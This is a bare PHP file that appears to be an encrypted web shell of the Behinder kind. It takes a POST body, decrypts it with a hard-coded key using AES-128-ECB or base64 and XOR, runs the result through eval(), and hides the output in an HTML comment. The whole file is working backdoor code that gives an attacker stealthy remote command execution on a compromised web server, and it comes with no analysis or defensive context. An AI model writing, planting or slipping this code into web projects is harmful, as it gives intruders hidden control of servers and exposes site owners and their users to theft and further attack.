<?php
@error_reporting(0);
$key="6e6c34664236453c"; //明文post_content
@session_start();
$_SESSION['k']=$key;
@session_write_close();
$post=file_get_contents("php://input");
if(!$post)return;
$useAES=false;
if(extension_loaded('openssl')){
	$dec=@openssl_decrypt($post,"AES-128-ECB",$key);
	if($dec!==false){$post=$dec;$useAES=true;}
}
if(!$useAES){
	$post=base64_decode($post);
	for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[($i+1)&15];}
}
$arr=explode('|',$post,2);
@ob_start();
eval($arr[1]);
$output=@ob_get_clean();
if($output===false)$output='';
echo "\n<!-- BH_START ".$output." BH_END -->\n";